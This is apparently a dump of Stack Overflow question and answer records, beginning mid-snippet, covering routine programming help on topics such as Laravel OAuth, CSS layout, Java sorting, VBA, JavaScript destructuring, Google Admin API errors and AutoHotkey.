%&gt; &lt;p&gt;&lt;strong&gt;LOS PRECIOS OFERTADOS ESTAN INCLUIDOS I.G.V.&lt;/strong&gt;&lt;/p&gt; &lt;% else %&gt; &lt;p&gt;&lt;strong&gt;LOS PRECIOS OFERTADOS NO ESTAN INCLUIDOS I.G.V.&lt;/strong&gt;&lt;/p&gt; &lt;% end %&gt; &lt;br&gt;&lt;br&gt; &lt;p&gt;&lt;%= g.link_to_add "Adicionar Producto", :detail_referral_guides, :data =&gt; { :target =&gt; "#detail_referral_guides" }, class: "btn btn-primary" %&gt;&lt;/p&gt; &lt;div class="form-actions"&gt; &lt;%= f.button :submit %&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;% end %&gt; &lt;% end %&gt; </code></pre>
27045735	0	 <p>The Implicit Grant Type is being seen by many (lucadegasperi's oauth2-server-laravel among others) as the least secure of the OAuth2 grant types, therefore I recommend you to use JWT for your service website instead.</p> <p>To integrate JWT with Laravel, have a look at the following library. It works very well, and is also supported by the popular out-of-the-box API package Dingo for Laravel (<a href="https://github.com/dingo/api" rel="nofollow">https://github.com/dingo/api</a>):</p> <ul> <li><a href="https://github.com/tymondesigns/jwt-auth" rel="nofollow">https://github.com/tymondesigns/jwt-auth</a></li> </ul> <p>As for the app(s), if the app is a first-party app, go for the OAuth2 password grant as mentioned by Florens Morselli. If it is third-party app, use the authorization code grant instead.</p>
37466112	0	 <p>I was able to get this to work by adding my custom class to the Entity Framework model (even though it does not have a table). I think it was easier with the a code model. I don't know if it would have been doable with a design model (edmx).</p> <p>This link got me started:</p> <p><a href="http://breeze.github.io/doc-js/metadata-with-ef.html" rel="nofollow">http://breeze.github.io/doc-js/metadata-with-ef.html</a></p>
21298408	0	Trying to get two buttons remained in the status column of a grid <p>I'm trying to place a couple of buttons under the Status column as per screenshot.</p> <p>Here's my HTML code below( the picture)</p> <p><img src="https://i.stack.imgur.com/9OKXq.png" alt="enter image description here"></p> <pre><code>&lt;div class="table_heading_row"&gt; &lt;div class="table_column" style="width: 100px;"&gt; Leave Type &lt;/div&gt; &lt;div class="table_column" style="width: 100px;"&gt; Total Count &lt;/div&gt; &lt;div class="table_column" style="width: 150px;"&gt; Start Date &lt;/div&gt; &lt;div class="table_column" style="width: 100px;"&gt; End Date &lt;/div&gt; &lt;div class="table_column" style="width: 100px;"&gt; Status &lt;/div&gt; &lt;/div&gt; &lt;div class="table_row 1"&gt; &lt;div class="table_column" style="width: 100px;"&gt; Sick Leave &lt;/div&gt; &lt;div class="table_column" style="width: 150px;"&gt; 2 Days &lt;/div&gt; &lt;div class="table_column" style="width: 100px;"&gt; 2.8.2013 &lt;/div&gt; &lt;div class="table_column" style="width: 100px;"&gt; 3.8.2013 &lt;/div&gt; &lt;div class="table_column" style="width: 100px;"&gt; Rejected &lt;/div&gt; &lt;/div&gt; &lt;div class="table_row 2"&gt; &lt;div class="table_column" style="width: 100px;"&gt; Sick Leave &lt;/div&gt; &lt;div class="table_column" style="width: 150px;"&gt; 3 days &lt;/div&gt; &lt;div class="table_column" style="width: 100px;"&gt; 6.3.2014 &lt;/div&gt; &lt;div class="table_column" style="width: 100px;"&gt; 8.3.2014 &lt;/div&gt; &lt;div class="table_column" style="width: 100px;"&gt; Rejected &lt;/div&gt; &lt;/div&gt; &lt;div class="table_row 3"&gt; &lt;div class="table_column" style="width: 100px;"&gt; Annual Leave &lt;/div&gt; &lt;div class="table_column" style="width: 150px;"&gt; 13 days &lt;/div&gt; &lt;div class="table_column" style="width: 100px;"&gt; 6.3.2014 &lt;/div&gt; &lt;div class="table_column" style="width: 100px;"&gt; 8.3.2014 &lt;/div&gt; &lt;div class="table_column" style="width: 100px; display:inline-flex;"&gt; &lt;div style="float:left; style=" background-color: green; width: 64px;"&gt; &lt;input type="button" name="Approve" value="Approve"&gt; &lt;/div&gt; &lt;div style="float:left;" style="background-color: red;width: 64px;"&gt; &lt;input type="button" name="Reject" value="Reject"&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>Under the div class <code>table_row3</code> for the annual leave part row, I want to make to make the last column to include two buttons (with some CSS styling on) and I ended up have two green and red buttons stick next each other. Whilst this is the closest resemblance to the picture below, I'm just not sure this is great approach... I need another suggestion of a better way of handling this buttons sitting under the status columns with such margins or paddings.</p> <p>Any ideas?</p> <p>You can also check it live online.</p> <p><a href="http://cms.tmadev.com.au/staffleaveapproval.html" rel="nofollow noreferrer">http://cms.tmadev.com.au/staffleaveapproval.html</a></p>
25030459	0	Convert JObject to type at runtime <p>I am writing a simple event dispatcher where my events come in as objects with the clr type name and the json object representing the original event (after the byte[] has been processed into the jobject) that was fired. I'm using GetEventStore if anyone wants to know the specifics.</p> <p>I want to take that clr type to do 2 things:</p> <ol> <li>find the classes that implements IHandles and </li> <li>call Consume(clr type) on that class</li> </ol> <p>I have managed to get part 1 working fine with the following code:</p> <pre><code> var processedEvent = ProcessRawEvent(@event); var t = Type.GetType(processedEvent.EventClrTypeName); var type = typeof(IHandlesEvent&lt;&gt;).MakeGenericType(t); var allHandlers = container.ResolveAll(type); foreach (var allHandler in allHandlers) { var method = allHandler.GetType().GetMethod("Consume", new[] { t }); method.Invoke(allHandler, new[] { processedEvent.Data }); } </code></pre> <p>ATM the issue is that processedEvent.Data is a JObject - I know the type of processedEvent.Data because I have t defined above it.</p> <p>How can I parse that JObject into type t without doing any nasty switching on the type name?</p>
15508454	0	 If you are using this tag, it is a good indication that you are asking a question that does not belong here.
36726504	0	Autohotkey Open Folder of Current Application or Process <p>In this code no open current application folder because the FilePath variable include exe file name</p> <pre><code>F11:: PID = 0 WinGet, hWnd,, A DllCall("GetWindowThreadProcessId", "UInt", hWnd, "UInt *", PID) hProcess := DllCall("OpenProcess", "UInt", 0x400 | 0x10, "Int", False , "UInt", PID) PathLength = 260*2 VarSetCapacity(FilePath, PathLength, 0) DllCall("Psapi.dll\GetModuleFileNameExW", "UInt", hProcess, "Int", 0, "Str", FilePath, "UInt", PathLength) DllCall("CloseHandle", "UInt", hProcess) Run, Explorer %FilePath% </code></pre> <p>Thanks in advance for any assistance. </p>
7330809	0	How to create a short url for sharing on social media <p>I'm trying to write some code which shares a page on Facebook and twitter. The problem I'm facing is that the page I'm trying to share has a big query string like:</p> <pre><code>http://domain.com/see.php?c=3&amp;a=123&amp;v=1 </code></pre> <p>But it seems that Facebook and Twitter don't like that big query string.</p> <p>I also tried using tiny url with following method in which I passed the URL to a PHP function to get the tiny URL:</p> <pre><code>var a = $("#Link").val(); </code></pre> <p>I get the correct value of <code>**a**</code>. After that I pass this value to a PHP file:</p> <pre><code>$.post("ShortLink.php?value="+a </code></pre> <p>In that PHP file I got the following value:</p> <pre><code>http://domain.com/see.php?c=3 </code></pre> <p>All the values after <code>3</code> is deleted.</p> <p>Thanks</p>
39705323	0	Call different method depending on Bool without if-statement in Swift <p>Is it possible to call one or another method depending a <code>Bool</code> value? I wish to do this:</p> <pre><code>var isLocked: Bool { didSet { // This is not Swift but indicates what I'm looking for. self.activityIndicator.(isLocked ? startAnimating() : stopAnimating()) } } </code></pre> <p>I'm looking to do this using existing Swift 2 (or 3) language features; without class extensions.</p> <p>Possibly a duplicate, but couldn't find.</p>
1757839	0	 <p>I assume pageTabPanel isn't defined at the time you trigger the handler. Try to remove the var keyword in front of "var pageTabPanel =" to make it a global variable.</p> <p>If that works, it's a scope/variable issue. The better solution is to give the tabpanel an id and call Ext.getCmp('tabpanelid').render('contentpanel') in your renderPageTabs method.</p> <p>Hope that helps.</p> <p>Regards, Steffen</p>
15910002	0	 <p>I have created an example where you can sort your ArrayList even if its with objects. You can read through it an see if it's helps.</p> <p>I have made two classes and a test class:</p> <p>First class is Country:</p> <pre><code>public class Country { private String countryName; private int number; public Country(String countryName, int number){ this.countryName = countryName; this.number = number; } public String getCountryName(){ return countryName; } public void setCountryName(String newCountryName){ countryName = newCountryName; } public int getNumber(){ return number; } public void setNumber(int newNumber){ number = newNumber; } public String toString(){ return getCountryName() + getNumber(); } } </code></pre> <p>Next class is Methods:</p> <pre><code>public class Methods { private Country country; private ArrayList&lt;Country&gt; overview = new ArrayList&lt;Country&gt;(); private ArrayList&lt;Country&gt; overviewSorted = new ArrayList&lt;Country&gt;(); int [] test; public void regCountry(String countryname, int numbers){ if(!(countryname == "" &amp;&amp; numbers == 0)){ overview.add(new Country(countryname, numbers)); } else { System.out.println("The input was null"); } } public void showRegisteredCountries(){ if(!(overview.size() &lt; 0)){ for(int i = 0; i &lt; overview.size(); i++){ System.out.println("The country: " + overview.get(i).getCountryName() + " has the number: " + overview.get(i).getNumber() + " registered"); } } else { System.out.println("There are no country registered"); } } public void numbersOverFromArrayList(){ if(!(overview.size() &lt; 0)){ test = new int [overview.size()]; for(int i = 0; i &lt; overview.size(); i++){ test[i] = overview.get(i).getNumber(); } } } public void sortArrayAndCopyItBack(){ if(!(test.length &lt; 0)){ java.util.Arrays.sort(test); for(int i = 0; i &lt; test.length; i ++){ for(int j = 0; j &lt; overview.size(); j++){ if(test[i] == overview.get(j).getNumber()){ overviewSorted.add(new Country(overview.get(j).getCountryName(), overview.get(j).getNumber())); } } } } } public void showTableSorted(){ if(!(overviewSorted.size() &lt; 0)){ for(int i = 0; i &lt; overviewSorted.size(); i++){ System.out.println("Country name: " + overviewSorted.get(i).getCountryName() + " with number: " + overviewSorted.get(i).getNumber()); } } else { System.out.println("There are non countrys in table that is sorted"); } } } </code></pre> <p>Next is the test class:</p> <pre><code>public class test2 { public static void main(String [] args){ Methods methodes = new Methods(); for(int i = 0; i &lt; 4; i++){ String inCountry = JOptionPane.showInputDialog("Country:"); String inNumber = JOptionPane.showInputDialog("number:"); String country = inCountry; int number = Integer.parseInt(inNumber); methodes.regCountry(country, number); } methodes.showRegisteredCountries(); methodes.numbersOverFromArrayList(); methodes.sortArrayAndCopyItBack(); methodes.showTableSorted(); } } </code></pre> <p>My output:</p> <pre><code>The country: Norway has the number: 5 registered The country: Sweden has the number: 2 registered The country: Denmark has the number: 9 registered The country: Finland has the number: 7 registered Country name: Sweden with number: 2 Country name: Norway with number: 5 Country name: Finland with number: 7 Country name: Denmark with number: 9 </code></pre>
34445315	0	 <p>Basically <code>nscurl --ats-diagnostics &lt;url&gt;</code> just tries all possible variants of connection to server and responses with PASS/FAIL results for each test. You should just find which tests pass for your server and set ATS configuration accordingly.</p> <p><a href="http://useyourloaf.com/blog/app-transport-security.html" rel="nofollow">Here's</a> a good article on ATS and checking server compliance, it also contains an nscurl example.</p>
40849963	0	 <p>You need to loop over the sheets in the workbook and manipulate each one individually:</p> <pre><code>Dim sheet As Worksheet For Each sheet In ActiveWorkbook.Worksheets sheet.Columns("A").SpecialCells(xlCellTypeBlanks).EntireRow.Delete Next </code></pre>
29992582	0	How to perform Array/Object destructuring manually & efficiently? <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment" rel="nofollow">Array destructuring</a> is super useful:</p> <pre><code>var [a, b, c] = [1, 2, 8]; </code></pre> <p>It looks like it was <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7#Destructuring_assignment_%28Merge_into_own_page.2Fsection%29" rel="nofollow">implemented into Javascript 1.7</a>, but then <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1083498" rel="nofollow">removed with bug 1083498</a>. Now according to <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Browser_compatibility" rel="nofollow">this table</a> it's not supported by any browser except Firefox! :(</p> <p>I wish I could use it because I don't like having to create an extra unnecessary variable. </p> <p>With destructuring:</p> <pre><code>var a, b, c; var input = "1 2 8"; [a, b, c] = arr.split(" "); </code></pre> <p>Without destructuring:</p> <pre><code>var a, b, c; var input = "1 2 8"; var inputArr = input.split(" "); a = inputArr[0]; b = inputArr[1]; c = inputArr[2]; </code></pre> <p>Is there a way to do this without the need to create the extra unneeded <code>inputArr</code> and draw from it multiple times?</p>
19892982	0	Button appears on hover <p>I have a box. when you put your mouse over the box, a button appears on top of the box. the hover function works in such a way that it doesn't recognize that the mouse is still on top of the box. how can I solve it?</p> <pre><code>//I create the paper var paper = Raphael(0, 0, 500,500); //I add the box var box = paper.add([{ type: "rect", x: 100, y: 100, width: 100, height: 100, fill: '#000', }]) // I declare a varible for the button var button //I add hover functions to the box. //first function: when the mouse is on, create a red circle and add an //onclick event to the circle box.hover(function () { button = paper.circle(150, 150, 25).attr({ 'fill': 'red' }) button.click(function () { alert("You clicked me!")}) }, //second function: when the mouse leaves the box, remove the circle function () { button.remove() }) </code></pre> <p>Here is an example</p> <p><a href="http://jsfiddle.net/V4E4Q/" rel="nofollow">http://jsfiddle.net/V4E4Q/</a></p>
19602175	0	 <p>you can hide the table before it is initialized and show it after initializing is complete.</p> <p>Use CSS to hide the table.</p> <pre><code>.grid { display: none; } </code></pre> <p>add fnInitComplete to your datatable settings to show the table once it is intililized.</p> <pre><code>enter code here $(".grid").dataTable({ // Your settings "fnInitComplete": function(oSettings, json) { $(".grid").show() } }); </code></pre>
13484797	0	 <p>After investigation it seems that getting a 403 error happens if the account that is set in <code>.setServiceAccountUser("admin.of.my@domain.com")</code> is not a "Super Admin" of the domain.</p> <p>However in the case above "admin.of.my@domain.com" is indeed a Super Admin of the domain. Also the code works well with any other Super Admin of the domain which leads to believe that there is something wrong with the account "admin.of.my@domain.com" in particular.</p> <p>If this happens to anyone else - a.k.a. an account set as "Super Admin" which does not work to access Admins-only APIs through Service Accounts - make sure you let us know in the comments below and we'll investigate further if this impacts lots of people.</p>
35340840	0	 <p>You can have similar code for other radiobuttons also</p> <pre><code>$("#laufzeit_0").change(function(){ if($(this).is(":checked")){ if($("#abrechnung_0").is(":checked")){ $("div.YOUR_DIV_CLASS").show(); } } }); </code></pre>
6392749	0	i want my shape when hit with inside of stage , rotate and countinue move in true angle forever <p>![My Map][1]</p> <p>i want simulate Billiard ball in my project. but my code does not work good. when start with (for example) 34 degree , when hit with wall(stage in this example) return with true degree. in flash , as3</p> <pre><code>public function loop(e:Event) : void { if(luanch) { y += Math.sin(degreesToRadians(rotation)) * speed; x += Math.cos(degreesToRadians(rotation)) * speed; if (x &gt; stage.stageWidth){ rotation -= 90; x = stage.stageWidth; trace("X :" , x , rotation); } else if (x &lt; 0) { rotation += 90; x=3; //rotation += 90; trace("X :" , x , rotation); } if (y &gt; stage.stageHeight) { y = stage.stageHeight; rotation -= 90; trace("Y : " , y , rotation); } else if (y &lt;0) { rotation += 90; //rotation += 90; trace("Y :" , y , rotation); } } } public function degreesToRadians(degrees:Number) : Number { return degrees * Math.PI / 180; } } } </code></pre>
12647043	0	 <p>You should not be storing numeric data as a string but if you do, then you will need to <code>cast()</code> it to apply a <code>SUM()</code> aggregate to it:</p> <pre><code>SELECT SUM(CAST(yourcolumn AS DECIMAL(10, 2))) FROM yourtable </code></pre> <p>So your query will be:</p> <pre><code>select sum(cast(qty as DECIMAL(10, 2))) from inventory i where i.refDocNum = 485 and i.refApp = 'WO' and i.type in (20, 21) </code></pre>
29697845	0	 <p>I am finally able to find solution for this. I added encode property like this $mail->encoding = base64. It worked.</p>
32024825	0	Combine two wallets bitcoin <p>I have two PC and bitcoin-qt on both. On first PC I have a wallet encrypted with my passphrase <code>AAAAAAA</code> and on my second PC I have a wallet encrypted with other passphrase <code>BBBBBBBBB</code>. I want have all my btcs in my first PC because I want to sell my other PC.</p> <p>I know that I can send my btcs from second PC to first PC. But I prefer join the wallets.</p> <p>Can I merge two wallets in one? </p>
17577082	0	 <p>I don't think it's possible to retrieve completely unrelated tables through LINQ in one shot. Maybe for performance reasons you should consider caching so you won't need to query the database every time.</p> <p>With plain SQL on MSSQL you could use batch statements.</p> <pre><code>var batchSql = "select * from Repository; select * from StaffMembersRepository; select * from CategoriesRepository"; // ... // iterate over batch results using(var reader = command.ExecuteReader()) { var currentResultSet = 0; while(reader.NextResult()) { currentResultSet++; switch(currentResultSet) { case 1: while(reader.Read()) { // retrieve row data } case 2: // similar case 3: // similar } } } </code></pre> <p><a href="http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqldatareader.nextresult.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqldatareader.nextresult.aspx</a></p> <p>But I don't think it's a nice way.</p>
1598810	0	 <p>Is it a high resolution image? which you are trying to load,</p>
13168742	0	 <p>Gibberish,</p> <p>Try the <strong><a href="http://www.outsharked.com/imagemapster/" rel="nofollow">ImageMapster</a></strong> jQuery plugin, which acts on image maps to offer (at v1.2.6) the following features :</p> <ul> <li>Highlight and select areas</li> <li>Cool effects by using an alternate image</li> <li>Bind the image map to an external list</li> <li>Show floating tooltips for areas or area groups</li> <li>Grouping and exclusion masks to create complex functionality</li> <li>Automatic scaling of imagemaps to any display size, even while active</li> </ul> <p>The feature you need is the last one listed.</p> <p>I've not used ImageMapster myself, but the <strong><a href="http://www.outsharked.com/imagemapster/default.aspx?demos.html" rel="nofollow">demos</a></strong> are very impressive and indicative of a well written plugin.</p>
14922606	0	Easier way to work with $$ <p>I am looking for an easier way to make my example below:</p> <pre><code>&lt;?php $q = "Q".rand(1, 3); echo $$q; ?&gt; </code></pre> <p>Thanks.</p>
34538239	0	Navigating to another HTML Page in Apps for Office gets Office.js has not been fully loaded yet <p>This is in regards to Apps for Office.</p> <p>I have two pages: <em>Home.html</em> and <em>Details.Html</em>. Once I load some data into a table in Excel, I then use <code>location.href="Details.html"</code> to load the page <em>Details.html</em>. Within Details the Javascript file has:</p> <pre><code> Office.initialize = function (reason) { $(document).ready(function () { app.initialize(); $('#get-employee-details').click(getEmployeeDetails); }); }; </code></pre> <p>But before it even gets to that code, I get an error coming from office.js stating: </p> <blockquote> <p>Unhandled exception at line 11, column 11313 in <a href="https://appsforoffice.microsoft.com/lib/1.1/hosted/office.js" rel="nofollow">https://appsforoffice.microsoft.com/lib/1.1/hosted/office.js</a></p> <p>0x800a139e - JavaScript runtime error: Office.js has not been fully loaded yet. Please try again later or make sure to add your initialization code on the Office.initialize function.</p> </blockquote> <p>The only Javascript code is inside the Office initialize function so I am lost as to why I am getting this error.</p>
29008393	0	 <p>I must say that it works perfectly like it should be.</p> <p>If you want it to be:</p> <pre><code>Before After Screen </code></pre> <p>Try this:</p> <pre><code>final LinearLayout screenRL = (LinearLayout) findViewById(R.id.screenRL); new Thread(new Runnable() { @Override public void run() { for (int i = 0; i &lt; 4; i++) { LayoutInflater inflater = getLayoutInflater(); final View view = inflater.inflate(R.layout.dl, null); TextView txtTitleView = (TextView) view.findViewById(R.id.txtTitleView); txtTitleView.setText((i + 1) + ". Post"); Log.i("Check", "Before : "); runOnUiThread(new Runnable() { public void run() { Log.i("Check", "After"); screenRL.addView(view); } }); } runOnUiThread(new Runnable() { public void run() { Log.i("Check", "Screen"); } }); } }).start(); </code></pre>
2342382	0	 <p>Having previously worked with Spring's HTTP invoker remoting, I can say that there's built-in support for passing Spring security tokens. I would assume that Spring's RMI solution also has this feature, but you'd need to dig around in Spring's RMI classes/javadoc to confirm this.</p> <p>On the client side, you'll need the <code>ContextPropagatingRemoteInvocationFactory</code> class, which will automatically include a Spring security context on the remote invocation.</p>
34627665	1	Adding error bars in line figure with missing data <p>I want to draw lines between missing data as suggested <a href="https://stackoverflow.com/questions/14399689/matplotlib-drawing-lines-between-points-ignoring-missing-data">here</a> but with error bars.</p> <p>This is my code.</p> <pre><code>import matplotlib.pyplot as plt import numpy as np x = [1, 2, 3, 4, 5] y_value = [12, None, 18, None, 20] y_error = [1, None, 3, None, 2] fig = plt.figure() ax = fig.add_subplot(111) plt.axis([0, 6, 0, 25]) ax.plot(x, y_value, linestyle = '-', color = 'b', marker = 'o') ax.errorbar(x, y_value, yerr = y_error, linestyle = '' , color = 'b') plt.show() </code></pre> <p>But because of the missing data, I get </p> <blockquote> <p>TypeError: unsupported operand type(s) for -: 'NoneType' and 'NoneType'</p> </blockquote> <p>What should I do?</p>
6029712	0	 <p>If you're on Windows, try using <a href="http://4dpiecharts.com/2011/04/15/friday-function-setinternet2/" rel="nofollow"><code>setInternet2</code></a> so that your IT network thinks that it is Internet Explorer connecting to the internet. Often useful for evading corporate lockdown.</p>
30435216	0	Search in mysql column against provided json value <p>I have a table contents. Columns -> id, title, description.</p> <pre><code> CREATE TABLE IF NOT EXISTS `contents` ( `id` int(10) NOT NULL AUTO_INCREMENT, `title` varchar(255) DEFAULT NULL, `description` text, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ; </code></pre> <p>-- Dumping data for table <code>contents</code>--</p> <pre><code>INSERT INTO `contents` (`id`, `title`, `description`) VALUES (1, 'My fab phone', 'I own an iphone 5c.'), (2, 'I hate my phone', 'I have a Samsung S4. :('); </code></pre> <p>I have a json vaue made by input from user. Its like -> </p> <pre><code>[{"devices":"iPhone 5c"},{"devices":"Samsung S4"}] </code></pre> <p>I would like to search against it against the title, description comlumn in mysql.. my application is in php. is it even possible in mysql ? or I have to manipulate the json run it in loop and then simple search in mysql ? ...If its possible in mysql then please help</p>
11296367	0	 <p>Another way is, don't extend <code>ListActivity</code>. Just extends <code>Activity</code>, then you can create your list view by <code>setContentView()</code> and get the list view by <code>findViewById(R.id.yourlistview)</code>.</p> <p>If you extends from <code>ListActivity</code>, then don't use <code>setContentView()</code>. You need get the default list view hosted in list activity by <code>getListView()</code>.</p>
17551424	0	Can't access array item within angular.js view <p>I'm trying to access the first item in an array within an angular.js view like this:</p> <pre><code>&lt;p class="name-label"&gt;{{user_profile.email[0].emailAddress}}&lt;/p&gt; </code></pre> <p>My object looks like this:</p> <pre><code>Object { .... "email": [ { "emailType": "Primary", "emailAddress": "testuser@tp.com" } ], .... } </code></pre> <p>This is not working - I don't get an error - it just doesn't display anything! Any ideas?</p> <p>Thank you!</p>
40792557	0	Select past days from Calendar <p>I am trying to open calendar from past days but calendar starts from today and past days.How to show only past days.For example today's date is 24-11-2016,i want to open calendar from 23-11-2016.This is my snippet code</p> <pre><code> `Calendar c = Calendar.getInstance(); fromYear = c.get(Calendar.YEAR); fromMonth = c.get(Calendar.MONTH); fromDay = c.get(Calendar.DAY_OF_MONTH);` </code></pre>
35112854	0	 <p>Finally found the answer <a href="https://github.com/Mantle/Mantle/issues/263" rel="nofollow">here</a>. It's quite an ingenious way, and I was surprised to see it not being mentioned in the docs explicitly.</p> <p>The way to combine multiple keys into a single object is by mapping the target property to multiple keys using an array in the <code>+JSONKeyPathsByPropertyKey</code> method. When you do so, Mantle will make the multiple keys available in their own <code>NSDictionary</code> instance.</p> <pre><code>+(NSDictionary *)JSONKeyPathsByPropertyKey { return @{ ... @"location": @[@"latitude", @"longitude"] }; } </code></pre> <p>If the target property is an NSDictionary, you're set. Otherwise, you will need specify the conversion in either the <code>+JSONTransformerForKey</code> or the <code>+propertyJSONTransformer</code> method.</p> <pre><code>+(NSValueTransformer*)locationJSONTransformer { return [MTLValueTransformer transformerUsingForwardBlock:^CLLocation*(NSDictionary* value, BOOL *success, NSError *__autoreleasing *error) { NSString *latitude = value[@"latitude"]; NSString *longitude = value[@"longitude"]; if ([latitude isKindOfClass:[NSString class]] &amp;&amp; [longitude isKindOfClass:[NSString class]]) { return [[CLLocation alloc] initWithLatitude:[latitude floatValue] longitude:[longitude floatValue]]; } else { return nil; } } reverseBlock:^NSDictionary*(CLLocation* value, BOOL *success, NSError *__autoreleasing *error) { return @{@"latitude": value ? [NSString stringWithFormat:@"%f", value.coordinate.latitude] : [NSNull null], @"longitude": value ? [NSString stringWithFormat:@"%f", value.coordinate.longitude]: [NSNull null]}; }]; } </code></pre>
37464570	0	Interpolating Surface in R <p>I'm trying to interpolate a polynomial of the form</p> <p><code>z = Ax^2 + By^2 + Cxy + Dx + Ey + F</code></p> <p>In <code>R</code>, where the capital letters are constant coefficients.</p> <p>For the following data</p> <p>My horizontal axis is: <code>KSo&lt;-c(0.90,0.95,1.00,1.05,1.10)</code></p> <p>My vertical axis is: <code>T&lt;-c(1/12,3/12,6/12,1,2,5)</code></p> <p>And the data mapped by <code>KSo X T</code> are:</p> <p><code>14.2 13.0 12.0 13.1 14.5</code></p> <p><code>14.0 13.0 12.0 13.1 14.2</code></p> <p><code>14.1 13.3 12.5 13.4 14.3</code></p> <p><code>14.7 14.0 13.5 14.0 14.8</code></p> <p><code>15.0 14.4 14.0 14.5 15.1</code></p> <p><code>14.8 14.6 14.4 14.7 15.0</code></p> <p>In other words, the observed datum for <code>(1.00,6/12)</code> is <code>12.5</code></p> <p>How would I interpolate, for example, the predicted data for <code>(0.98,11/12)</code>? </p> <p>Edit: I found a nice package, <code>akima</code>, with the <code>bicubic</code> function, that uses splines. I'd still like to see what people suggest </p>
39677957	1	Python MP3 Player <p>I Am Trying To Play An MP3 File On Python , But I Can't Find The Right Module! I've Tried This:</p> <pre><code>import os os.startfile('hello.mp3') </code></pre> <p>But I Just Got The <strong>Error</strong>:</p> <pre><code>Traceback (most recent call last): File "/Applications/Youtube/text 2 speech/test.py", line 2, in &lt;module&gt; os.startfile('hello.mp3') AttributeError: 'module' object has no attribute 'startfile' </code></pre> <p>I Have Also Tried This:</p> <pre><code>import vlc p = vlc.MediaPlayer("file:hello.mp3") p.play() </code></pre> <p>But I Get The <strong>Error</strong>:</p> <pre><code>Traceback (most recent call last): File "/Applications/Youtube/text 2 speech/test.py", line 1, in &lt;module&gt; import vlc ImportError: No module named 'vlc' </code></pre> <p>But I Still Can't Find The Right Module. Could Someone Please Help?</p>
4182405	0	A simple thread's pool in C++ with thread priorities <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/4179316/threadpool-in-c">threadpool in c++</a> </p> </blockquote> <p>I need to write my own or use already written thread's pool in C++ with priorities. Boost threadpool is too complicated. Please, advice me one.</p>
1144825	0	can i do caching with php? <p>I have read a few things here and there and about PHP being able to "cache" things. I'm not super familiar with the concept of caching from a computer science point of view. How does this work and where would I use it in a PHP website and/or application.</p> <p>Thanks!</p>
34910745	0	What are the best practices for single-instanced classes in java? <p>In my program I have a menu system in which I have a separate class for each menu, for example MainMenu would be a separate class. But the class is only supposed to be instanced once, and after I instance it, it is saved in a list which is all is used for after that. Should I use another solution than a separate class? Or should I make the constructor private and then make a private instance inside the class? I feel like this violates OOP, but I don't see another solution.</p>
29683503	0	parsing data from JSON <p>I am making an AJAX call to a JSON file containing thumbnail images and website urls, I am then listing each out using AngularJS directive ng-repeat to list. The problem is the thumbnails and website urls are no longer populating my page. I reformatted my JSON file data into an array because I will be adding multiple arrays to my JSON file that will contain different objects to be used on other pages throughout the website. </p> <p>JSON:</p> <pre><code>{"websites":[ { "thumbnail": "thumbnail1.jpg", "website": "http://somewebsite.com" }, { "thumbnail": "thumbnail2.jpg", "website": "http://somewebsite.com" }, { "thumbnail": "thumbnail3.jpg", "website": "http://somewebsite.com" } ]} </code></pre> <p>Angular:</p> <pre><code>angular.module('myApp') .constant("dataUrl", "../json/data.json") .controller("websitesController", function($scope, $http, dataUrl){ $scope.data ={}; $http.get(dataUrl) .success(function(data){ $scope.data.projects = data; }) .error(function(error){ $scope.data.error = error; }); }); </code></pre> <p>HTML: </p> <pre><code>&lt;ul ng-controller="websitesController"&gt; &lt;li ng-repeat="item in data.projects"&gt; &lt;img ng-src="{{item.thumbnail}}" /&gt; &lt;div&gt; &lt;a ng-href="{{item.website}}" target="_blank"&gt;&lt;b&gt;Website&lt;/b&gt;&lt;/a&gt; &lt;/div&gt; &lt;/li&gt; &lt;ul&gt; </code></pre>
21473611	0	Netbeans swing Master detail sample form delete not working <p>I'm using NB 7.4, JavaDb , jdk 7.</p> <p>I tried to work on this example : <a href="http://simsam7.blogspot.in/2013/06/quick-crud-application-on-netbeans-73.html" rel="nofollow">http://simsam7.blogspot.in/2013/06/quick-crud-application-on-netbeans-73.html</a></p> <p>In CRUD, CRU works good, but delete not working,and its not throwing any error also.</p> <p>My Code for delete button.</p> <pre><code> int[] selected = masterTable.getSelectedRows(); List&lt;com.fz.PurchaseOrder&gt; toRemove = new ArrayList&lt;com.fz.PurchaseOrder&gt;(selected.length); for (int idx = 0; idx &lt; selected.length; idx++) { com.fz.PurchaseOrder p = list.get(masterTable.convertRowIndexToModel(selected[idx])); toRemove.add(p); entityManager.remove(p); } list.removeAll(toRemove); </code></pre> <p>I done debug, and i think error at entityManager.remove(p).</p> <p><strong>INFO :</strong> Output GUI - The row in table removes/delete good, but when i refresh it shows again.</p>
7123838	0	 <p>If there's no duplicate, then this query will do an insert, and the <code>Time</code> value will be null, as no value was ever set. <code>Null + anything</code> is null, hence the error.</p> <p>Try <code>... Time = COALESCE(Time, 0) + INTERVAL $time SECOND</code> or similar to get aroun dit.</p>
31622023	0	 <p>The best way would be through feature detection in the browser. Since there is not a standard way of detecting touch through CSS. I would just do this JavaScript:</p> <pre><code>if ('ontouchstart' in document) { // Bring in the necessary CSS optimized for touch } </code></pre>
7476431	0	 <p>You can take in a parameter of <code>HttpServletRequest</code>, and read the <code>ServletInputStream</code> using <a href="http://download.oracle.com/javaee/6/api/javax/servlet/ServletRequest.html#getInputStream%28%29" rel="nofollow"><code>getInputStream()</code></a> from there. The stream will contain the body of the request.</p> <pre><code>@Controller public class MyController { @RequestMapping("/test") public String aTest(HttpServletRequest request) { InputStream body = request.getInputStream(); //process request body return myReturnVal; } } </code></pre>
